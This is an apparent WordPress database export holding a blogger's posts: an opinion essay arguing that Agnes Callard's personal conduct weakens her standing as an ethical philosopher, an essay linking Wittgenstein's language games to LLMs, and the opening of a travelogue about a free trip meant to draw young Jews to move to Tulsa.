merits. Agnes Callard’s personal life has no more bearing on her work than Einstein’s does on his<a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-1-109625522\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t buy this. Ethical philosophy really isn’t like any other kind of discipline. There aren’t any objective truths in ethical philosophy. It asks a lot of our “moral intuitions” to make its points. Even compared to other philosophical disciplines, it’s very hard to come to any kind of definitive answers in ethical philosophy. Branches of ethical philosophy that do come to counterintuitive conclusions through logic, like utilitarianism, are usually regarded with suspicion by ethical philosophers and laymen alike<a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-2-109625522\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seems evident to me that there’s then something repugnant about reaching ethical conclusions through pure logic. If all our intuitions tell us that air is weightless, but our mass calculations tell us that air has weight, we are ok with believing our mass calculations and trusting that air has weight. If all our intuitions tell us that posting on Twitter is harmless, but some guy’s ethical framework (that he posts on Twitter) tells us that it’s unethical to post on Twitter, we will probably ignore him<a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-3-109625522\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, ethical philosophy is in a weird spot. On the one hand, it is still an academic discipline, in which we’re willing to listen to experts who claim they know better than us. On the other hand, we have very strong intuitions, and we’re willing to ignore people whose claims go against our intuitions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And I think this latter point points to a fundamental mistrust at the heart of ethical philosophy. We can never fully trust an ethical philosopher’s work on its own and we reserve the right to deny their conclusions without even having to engage with their reasoning. So, an ethical philosopher has to not only inspire trust with their work itself, but with themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why I think Agnes Callard is a bad ethical philosopher. Her mistreatment of both of her husbands is not akin to Einstein’s mistreatment of his wives (see footnote 1). It’s closer to a professor of biology who gets making up figures. When I review a biologist’s papers, I have to trust that their data is as honest as they could make it. If I think there’s a chance that they just made up numbers, the rest of the paper is like a fruit of a poisoned tree.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I review Agnes Callard’s work, I have to trust that her reasoning is as honest as she could make it. If I think there’s a chance that her moral intuitions are skewed, the rest of her work is like a fruit of a poisoned tree.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know, I used to teach Introduction to Western Philosophy to Chinese students. I would ask them at the beginning of the ethics section if they thought ethical philosophers were more ethical than the average person. They would generally answer no, and they’d be correct,&nbsp;<a href=\"https://qz.com/1582149/ethicists-are-no-more-ethical-than-the-rest-of-us-study-finds#:~:text=For%20all%20their%20pontificating%20and,no%20better%20at%20behaving%20ethically.\">according to surveys of ethical philosophers</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’d tell them that they should be disappointed that they were correct. I’d say that they shouldn’t think of philosophy as just another course to trudge through. I’d tell them that when I taught them epistemology, they should treat it as a chance to change how they think. And, when I taught them ethics, they should treat it as a chance to evaluate and change how they lived. They should be suspicious of any ethical philosopher who didn’t do the same, in the same way they’d be suspicious of a dentist with bad teeth. Either that ethical philosopher (or dentist) tried and failed, or they never even tried. I don’t know which is worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the course, I’d do a wrap-up lecture. When I wrapped up ethics, I always liked to quote Rilke’s immortal ending lines from “Archaic Torso of Apollo”:<br><br><em>For here there is no place that does not see you. You must change your life.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-anchor-1-109625522\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Einstein was a terrible spouse. He treated&nbsp;<a href=\"https://www.dailymail.co.uk/femail/article-2133922/Was-Einstein-worlds-worst-husband-Wife-ordered-room-tidy-serve-meals-day--expect-NO-affection--stop-talking-demands-it.html\">his first wife like an unpaid maid</a>, and&nbsp;<a href=\"https://www.reddit.com/r/todayilearned/comments/2hnn8x/til_albert_einstein_had_a_silk_bathrobe_that_hed/\">cheated a lot</a>&nbsp;on his second wife.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-anchor-2-109625522\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, Bentham’s strict utilitarianism suggested that the state should promote pleasure and discourage pain to the greatest extent possible. Bentham had no problem with the idea that this might mean that a state library might overstock trashy romance novels and understock Shakespeare, given that most people would get more pleasure out of romance novels than Shakespeare. John Stuart Mill, following after Bentham, did have a problem with this and weakened this with an absurd idea of “higher and lower pleasures”, and that Shakespeare is therefore better than Fabio. This made utilitarian logic a lot messier, but avoided Bentham’s repugnant conclusion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-anchor-3-109625522\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only people I’ve ever known to actually be able to follow unintuitive ethical conclusions in their daily life have been the effective altruists, who do reason themselves into veganism and insane amounts of charitable giving. But even they can get swayed from their carefully reasoned positions by proper incentives. Witness SBF’s corruption of the effective altruist establishment via his boatloads of money, which the effective altruists had no problem accepting and using regardless of its provenance or its intended destination. I’ve written about this before.</p>\n<!-- /wp:paragraph -->','Should ethical philosophers be ethical themselves?','','publish','closed','closed','','should-ethical-philosophers-be-ethical-themselves','','','2024-06-12 15:44:46','2024-06-12 15:44:46','',0,'https://trevorklee.com/?page_id=387',0,'page','',0),
(388,1,'2024-06-12 15:44:46','2024-06-12 15:44:46','<!-- wp:paragraph -->\n<p>A&nbsp;<a href=\"https://www.newyorker.com/magazine/2023/03/13/agnes-callard-profile-marriage-philosophy\">New Yorker profile of the ethical philosopher Agnes Callard</a>&nbsp;blew up on Twitter a few weeks ago. Agnes Callard is a philosopher of ethics at the University of Chicago. Her profile blew up not because of her academic work or insights, but because of her personal life.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short version is that, about 12 years ago, Agnes Callard divorced her husband to marry her graduate student that she had a crush on. She then talked and wrote incessantly about how brave it was that she did that. Now, 12 years later, she’s contemplating divorcing her graduate student as well. Miraculously, despite all of this, both her ex- and current husband still seem quite fond of her, and the three of them live together and raise a blended family.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this profile, Agnes comes off as, frankly, an unethical, selfish person. She muses incessantly about the trickier parts of love and marriage, but seems to avoid the basic issue of obligation that comes with either of those. By the end of the profile, you get the sense that she’s been a net negative for her ex-husband, who she not only divorced out of the blue but prevented from moving on; her current husband, who she tortures with continual “philosophical” threats of divorce; and the University of Chicago philosophy community at large, given that not only did she marry her graduate student, but she somehow also managed to get him a job teaching philosophy at UChicago ahead of all of her philosophy grad students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think Agnes Callard’s immorality is in question by any ethical standard. What I think is in question, however, is whether this makes her a bad ethical philosopher.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The easy answer, and the one most ethical philosophers would go with, is no. If we think of ethical philosophers like any other kind of academic, then bad personal ethics should not make someone a bad ethical philosopher. In this view, what a philosopher writes stands on its own on its own virtues. In this point of view, we should read philosophy like we’d read anything else. We should erase the byline and judge the writing on its own merits. Agnes Callard’s personal life has no more bearing on her work than Einstein’s does on his<a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-1-109625522\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t buy this. Ethical philosophy really isn’t like any other kind of discipline. There aren’t any objective truths in ethical philosophy. It asks a lot of our “moral intuitions” to make its points. Even compared to other philosophical disciplines, it’s very hard to come to any kind of definitive answers in ethical philosophy. Branches of ethical philosophy that do come to counterintuitive conclusions through logic, like utilitarianism, are usually regarded with suspicion by ethical philosophers and laymen alike<a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-2-109625522\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seems evident to me that there’s then something repugnant about reaching ethical conclusions through pure logic. If all our intuitions tell us that air is weightless, but our mass calculations tell us that air has weight, we are ok with believing our mass calculations and trusting that air has weight. If all our intuitions tell us that posting on Twitter is harmless, but some guy’s ethical framework (that he posts on Twitter) tells us that it’s unethical to post on Twitter, we will probably ignore him<a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-3-109625522\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, ethical philosophy is in a weird spot. On the one hand, it is still an academic discipline, in which we’re willing to listen to experts who claim they know better than us. On the other hand, we have very strong intuitions, and we’re willing to ignore people whose claims go against our intuitions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And I think this latter point points to a fundamental mistrust at the heart of ethical philosophy. We can never fully trust an ethical philosopher’s work on its own and we reserve the right to deny their conclusions without even having to engage with their reasoning. So, an ethical philosopher has to not only inspire trust with their work itself, but with themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why I think Agnes Callard is a bad ethical philosopher. Her mistreatment of both of her husbands is not akin to Einstein’s mistreatment of his wives (see footnote 1). It’s closer to a professor of biology who gets making up figures. When I review a biologist’s papers, I have to trust that their data is as honest as they could make it. If I think there’s a chance that they just made up numbers, the rest of the paper is like a fruit of a poisoned tree.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I review Agnes Callard’s work, I have to trust that her reasoning is as honest as she could make it. If I think there’s a chance that her moral intuitions are skewed, the rest of her work is like a fruit of a poisoned tree.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know, I used to teach Introduction to Western Philosophy to Chinese students. I would ask them at the beginning of the ethics section if they thought ethical philosophers were more ethical than the average person. They would generally answer no, and they’d be correct,&nbsp;<a href=\"https://qz.com/1582149/ethicists-are-no-more-ethical-than-the-rest-of-us-study-finds#:~:text=For%20all%20their%20pontificating%20and,no%20better%20at%20behaving%20ethically.\">according to surveys of ethical philosophers</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’d tell them that they should be disappointed that they were correct. I’d say that they shouldn’t think of philosophy as just another course to trudge through. I’d tell them that when I taught them epistemology, they should treat it as a chance to change how they think. And, when I taught them ethics, they should treat it as a chance to evaluate and change how they lived. They should be suspicious of any ethical philosopher who didn’t do the same, in the same way they’d be suspicious of a dentist with bad teeth. Either that ethical philosopher (or dentist) tried and failed, or they never even tried. I don’t know which is worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the course, I’d do a wrap-up lecture. When I wrapped up ethics, I always liked to quote Rilke’s immortal ending lines from “Archaic Torso of Apollo”:<br><br><em>For here there is no place that does not see you. You must change your life.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-anchor-1-109625522\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Einstein was a terrible spouse. He treated&nbsp;<a href=\"https://www.dailymail.co.uk/femail/article-2133922/Was-Einstein-worlds-worst-husband-Wife-ordered-room-tidy-serve-meals-day--expect-NO-affection--stop-talking-demands-it.html\">his first wife like an unpaid maid</a>, and&nbsp;<a href=\"https://www.reddit.com/r/todayilearned/comments/2hnn8x/til_albert_einstein_had_a_silk_bathrobe_that_hed/\">cheated a lot</a>&nbsp;on his second wife.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-anchor-2-109625522\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, Bentham’s strict utilitarianism suggested that the state should promote pleasure and discourage pain to the greatest extent possible. Bentham had no problem with the idea that this might mean that a state library might overstock trashy romance novels and understock Shakespeare, given that most people would get more pleasure out of romance novels than Shakespeare. John Stuart Mill, following after Bentham, did have a problem with this and weakened this with an absurd idea of “higher and lower pleasures”, and that Shakespeare is therefore better than Fabio. This made utilitarian logic a lot messier, but avoided Bentham’s repugnant conclusion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/should-ethical-philosophers-be-ethical#footnote-anchor-3-109625522\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only people I’ve ever known to actually be able to follow unintuitive ethical conclusions in their daily life have been the effective altruists, who do reason themselves into veganism and insane amounts of charitable giving. But even they can get swayed from their carefully reasoned positions by proper incentives. Witness SBF’s corruption of the effective altruist establishment via his boatloads of money, which the effective altruists had no problem accepting and using regardless of its provenance or its intended destination. I’ve written about this before.</p>\n<!-- /wp:paragraph -->','Should ethical philosophers be ethical themselves?','','inherit','closed','closed','','387-revision-v1','','','2024-06-12 15:44:46','2024-06-12 15:44:46','',387,'https://trevorklee.com/?p=388',0,'revision','',0),
(389,1,'2024-06-12 15:46:16','2024-06-12 15:46:16','<!-- wp:paragraph -->\n<p>const essayLength = 2500;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>if (essayLength &gt; 2000) {</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;&nbsp;console.log(\"People won\'t read this essay.\"); }</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faee42446-92ee-48e0-a58d-1da40e567352_1600x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faee42446-92ee-48e0-a58d-1da40e567352_1600x1024.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>When Ludwig Wittgenstein was 32, he published the&nbsp;<em>Tractatus Logico Philosophicus&nbsp;</em>while living in rural Austria, after having dropped out of Cambridge, volunteering for Austro Hungarian Army during WWI, renouncing his claim to one of the greatest fortunes in Europe, and becoming an abusive elementary school teacher.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two years after he died at age 62, his&nbsp;<em>Philosophical Investigations&nbsp;</em>was published, after he had effectively resigned his position as chair of the Philosophy Department at Cambridge in order to work as a drug porter at a hospital.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I’m trying to say is that Wittgenstein was a very strange and tortured man. Philosophers only put up with him because he was brilliant. That is why we are also discussing him. You can get away with a lot if you’re brilliant, especially in academia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wittgenstein’s only two major published works (not counting his children’s dictionary) both dealt with language. In the&nbsp;<em>Tractatus,&nbsp;</em>Wittgenstein tried to think of the relation of language to the world it represents. He proposed that a sentence proposes a state of the world. To quote from Wikipedia:&nbsp; “‘There is a man to my left’ should be analyzed into: ‘There is some x such that x is a man and x is to my left, and for any y, if y is a man and y is to my left, y is identical to x’. If the statement is true, x refers to the man to my left.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For Wittgenstein, this can be true regardless of the physical reality, as long as you’re referring to objects that cannot be further divided. So, for example, as I sit here, I can say, “Downtown Boston is in front of me,” which should be analyzed into: “There is some x such that x is Downtown Boston and x is in front of me, and for any y, if y is Downtown Boston and y is in front of me, y is identical to x.”. It doesn’t matter that “Downtown Boston” is a much more amorphous concept than “a man”, we still need to treat it as a single object, like “Downtown Boston is crowded,” or “Downtown Boston has very high rents”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Treating all sentences as propositions necessarily limits the sentences that you can logically analyze. Wittgenstein knew that. The last line of&nbsp;<em>Tractatus&nbsp;</em>is, famously, “Whereof one cannot speak, thereof one must be silent”. In this framework, there’s no way to analyze, say, an adaptation of Groucho Marx’s famous quip: “Nobody goes to Downtown Boston anymore. It’s too crowded.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So we are stuck with a language in which we can say many things, but only things that are true or false statements about the world. We’ve exchanged the richness of language for a subset of language that can be analyzed or processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Later Wittgenstein grew tired of that approach. In&nbsp;<em>Philosophical Investigations</em>, he pointed out that words actually have many meanings, and that their meaning depends on the “game” we play with those words. “Downtown Boston” might be a physical location that can be defined by a certain radius, or it might refer to just the apartments there (“Downtown Boston is getting expensive to rent in”), or it might refer to just the income of the businesses (“It really seems like Downtown Boston is not doing well financially”).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When we use “Downtown Boston” in a sentence, we actually struggle to come up with an exact definition. Google Maps, for instance, keeps it ambiguous whether the Old State House is part of Beacon Hill or Downtown. And yet we have no problem using the phrase “Downtown Boston” in a sentence, and, crucially, we have no problem communicating using that phrase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wittgenstein argues that we have no problem communicating with these phrases because of what he calls “family resemblances”. In his mind, phrases like Downtown Boston aren’t understood because of their definition. They’re understood in relation to other phrases or words. There are other downtowns (downtown Manhattan, downtown Cincinnati), and other phrases involving Boston (Boston sports teams, Bostonians, Boston politics), and we use this network of meanings to understand what “Downtown Boston” is and is not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this is what I’m referring to when I say LLMs have changed the language game we play with computers. We’ve moved from the strict, limited language we’ve always used with computers to a more robust and nuanced language game. Previously, our only way of communicating with computers was to order the computer to do things in the way that computers understand. These orders bore striking resemblance to Wittgenstein’s (and his predecessors’) atomic language, with indivisible objects that could be exactly defined.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And now we’ve progressed to being able to play much more nuanced language games with computers. We can even tell computers jokes or play games with them. And, fascinatingly, the advance that made this possible is teaching computers how to understand words like Wittgenstein thought we do: through webs of association.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What wild world have we wrought!</p>\n<!-- /wp:paragraph -->','We have changed the language game we play with computers','','publish','closed','closed','','we-have-changed-the-language-game-we-play-with-computers','','','2024-06-12 15:46:16','2024-06-12 15:46:16','',0,'https://trevorklee.com/?page_id=389',0,'page','',0),
(390,1,'2024-06-12 15:46:16','2024-06-12 15:46:16','<!-- wp:paragraph -->\n<p>const essayLength = 2500;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>if (essayLength &gt; 2000) {</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;&nbsp;console.log(\"People won\'t read this essay.\"); }</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faee42446-92ee-48e0-a58d-1da40e567352_1600x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faee42446-92ee-48e0-a58d-1da40e567352_1600x1024.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>When Ludwig Wittgenstein was 32, he published the&nbsp;<em>Tractatus Logico Philosophicus&nbsp;</em>while living in rural Austria, after having dropped out of Cambridge, volunteering for Austro Hungarian Army during WWI, renouncing his claim to one of the greatest fortunes in Europe, and becoming an abusive elementary school teacher.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two years after he died at age 62, his&nbsp;<em>Philosophical Investigations&nbsp;</em>was published, after he had effectively resigned his position as chair of the Philosophy Department at Cambridge in order to work as a drug porter at a hospital.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I’m trying to say is that Wittgenstein was a very strange and tortured man. Philosophers only put up with him because he was brilliant. That is why we are also discussing him. You can get away with a lot if you’re brilliant, especially in academia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wittgenstein’s only two major published works (not counting his children’s dictionary) both dealt with language. In the&nbsp;<em>Tractatus,&nbsp;</em>Wittgenstein tried to think of the relation of language to the world it represents. He proposed that a sentence proposes a state of the world. To quote from Wikipedia:&nbsp; “‘There is a man to my left’ should be analyzed into: ‘There is some x such that x is a man and x is to my left, and for any y, if y is a man and y is to my left, y is identical to x’. If the statement is true, x refers to the man to my left.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For Wittgenstein, this can be true regardless of the physical reality, as long as you’re referring to objects that cannot be further divided. So, for example, as I sit here, I can say, “Downtown Boston is in front of me,” which should be analyzed into: “There is some x such that x is Downtown Boston and x is in front of me, and for any y, if y is Downtown Boston and y is in front of me, y is identical to x.”. It doesn’t matter that “Downtown Boston” is a much more amorphous concept than “a man”, we still need to treat it as a single object, like “Downtown Boston is crowded,” or “Downtown Boston has very high rents”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Treating all sentences as propositions necessarily limits the sentences that you can logically analyze. Wittgenstein knew that. The last line of&nbsp;<em>Tractatus&nbsp;</em>is, famously, “Whereof one cannot speak, thereof one must be silent”. In this framework, there’s no way to analyze, say, an adaptation of Groucho Marx’s famous quip: “Nobody goes to Downtown Boston anymore. It’s too crowded.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So we are stuck with a language in which we can say many things, but only things that are true or false statements about the world. We’ve exchanged the richness of language for a subset of language that can be analyzed or processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Later Wittgenstein grew tired of that approach. In&nbsp;<em>Philosophical Investigations</em>, he pointed out that words actually have many meanings, and that their meaning depends on the “game” we play with those words. “Downtown Boston” might be a physical location that can be defined by a certain radius, or it might refer to just the apartments there (“Downtown Boston is getting expensive to rent in”), or it might refer to just the income of the businesses (“It really seems like Downtown Boston is not doing well financially”).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When we use “Downtown Boston” in a sentence, we actually struggle to come up with an exact definition. Google Maps, for instance, keeps it ambiguous whether the Old State House is part of Beacon Hill or Downtown. And yet we have no problem using the phrase “Downtown Boston” in a sentence, and, crucially, we have no problem communicating using that phrase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wittgenstein argues that we have no problem communicating with these phrases because of what he calls “family resemblances”. In his mind, phrases like Downtown Boston aren’t understood because of their definition. They’re understood in relation to other phrases or words. There are other downtowns (downtown Manhattan, downtown Cincinnati), and other phrases involving Boston (Boston sports teams, Bostonians, Boston politics), and we use this network of meanings to understand what “Downtown Boston” is and is not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this is what I’m referring to when I say LLMs have changed the language game we play with computers. We’ve moved from the strict, limited language we’ve always used with computers to a more robust and nuanced language game. Previously, our only way of communicating with computers was to order the computer to do things in the way that computers understand. These orders bore striking resemblance to Wittgenstein’s (and his predecessors’) atomic language, with indivisible objects that could be exactly defined.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And now we’ve progressed to being able to play much more nuanced language games with computers. We can even tell computers jokes or play games with them. And, fascinatingly, the advance that made this possible is teaching computers how to understand words like Wittgenstein thought we do: through webs of association.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What wild world have we wrought!</p>\n<!-- /wp:paragraph -->','We have changed the language game we play with computers','','inherit','closed','closed','','389-revision-v1','','','2024-06-12 15:46:16','2024-06-12 15:46:16','',389,'https://trevorklee.com/?p=390',0,'revision','',0),
(391,1,'2024-06-12 15:47:58','2024-06-12 15:47:58','<!-- wp:paragraph -->\n<p><em>Edit: the name of the program is&nbsp;<a href=\"https://www.tulsatomorrow.com/\">Tulsa Tomorrow</a>. Click on the link if you’re Jewish and you want a free trip to Tulsa. Tulsa Tomorrow would like me to let you all know that they are first and foremost trying to build a stable and supportive community, so please keep that in mind when contacting them. Also, they cannot sponsor you for a visa.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This past weekend, I went on what was essentially a Birthright Trip to Tulsa, Oklahoma. My plane flight, accommodations, and food were all paid for with the explicit intention of convincing me, as a Jewish person, to move to Tulsa. This was an odd, fascinating experience, and I’m breaking my usual convention of not writing about my personal life because I think it’s interesting to share.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I signed up for this trip, I had zero background for it. I saw a Facebook ad advertising free trips to Tulsa for young Jews and signed up because that seemed like an interesting thing to do. Even when I got to Tulsa, I still had very little context as to why I was there. I had to piece it together over the course of the weekend. To save you from the same detective work, I’ll just present it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tulsa is in a weird spot. It’s a little over 100 years old, and has always been a frontier town. Its fortunes have waxed and waned with the oil and gas industry, which alternately produces millionaires, billionaires, and bankruptcies. The town itself was basically stolen from the Indians a bit over a hundred years ago, laid out on a grid, and then developed in fits and spurts as city tax revenues swelled and declined with its main industry. This means that Tulsa has some beautiful art deco buildings, a strange layout including massive parking lots in the middle of downtown and full on suburbs 5 minutes from the city center, and a still unsettled sense of place.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the 80s and 90s, Tulsa experienced a decline. It got gross and dangerous. Starting in the late 90s, George Kaiser, a local billionaire (oil and gas, naturally, and then banking), decided to do something about it. He established the George Kaiser Family Foundation and then the Tulsa Community Foundation to house the assets of it. The Tulsa Community Foundation, with GKKF’s assets, rapidly grew into the second largest community foundation in the nation, behind only the Silicon Valley Community Foundation. It has over $4 billion in assets, and is almost completely unaccountable to anyone except the people who donate to it (namely, Tulsan billionaires). Because of its structure, it doesn’t even have the normal nonprofit requirements of donating 5% of its assets every year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the single largest force in Tulsan civic life is an opaque, unaccountable community foundation funded mostly by George Kaiser and partially by Lynn Schusterman, who are two elderly Jewish billionaires. And what’s really weird is that this is happening in an otherwise normal, Bible Belt city of 1 million people (and a Jewish population of roughly 2000) with a median household income of $60k. Compare this to Silicon Valley, which has a median household income of $140k and no shortage of billionaires, and you’ll understand the Tulsa Community Foundation’s outsized impact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By all reports, this has been a very positive relationship. The Tulsa Community Foundation (or, more specifically, the George Kaiser Family Foundation and, to a lesser extent, the Charles and Lynn Schusterman Foundation, as TCF is just a house for these family foundations) have spent enormous amounts of money trying to make Tulsa a better place to live. They’ve built multiple beautiful parks (including one incredible one called the Gathering Place), a children’s museum, revitalized downtown, launched scores of programs to improve the lives of Tulsa’s underprivileged children, created Tulsa Remote (which offers $10k and relocation assistance for any remote worker to move to Tulsa for one year), and funded a bunch of different business assistance programs. And all of this is just off the top of my head. I’m sure there’s a lot I don’t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb002f31a-4345-4202-a815-5cefcab47662_1200x800.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb002f31a-4345-4202-a815-5cefcab47662_1200x800.jpeg\" alt=\"Tulsa\'s Gathering Place aims for reconciliation\" title=\"Tulsa\'s Gathering Place aims for reconciliation\"/></a><figcaption class=\"wp-element-caption\">This is the playground section of the Gathering Place. It is a completely free park, including free kayak rentals.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The tide that George Kaiser is beating back is, of course, Tulsa’s natural decay as a midwest, Bible Belt city. Throughout the 90s and 2000s, every young person who could afford to leave Tulsa did so. This included Tulsa’s Jewish population, which declined from about 5000 in the 90s to less than half that number today.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s where my weekend comes in. I visited Tulsa through Tulsa Tomorrow, a program that flies out young Jews to Tulsa for a weekend to try to get them to live there. So far, from their own numbers, they’ve flown out about 150 Jews over the last 6 years and about 70-80 have moved.</p>\n<!-- /wp:paragraph 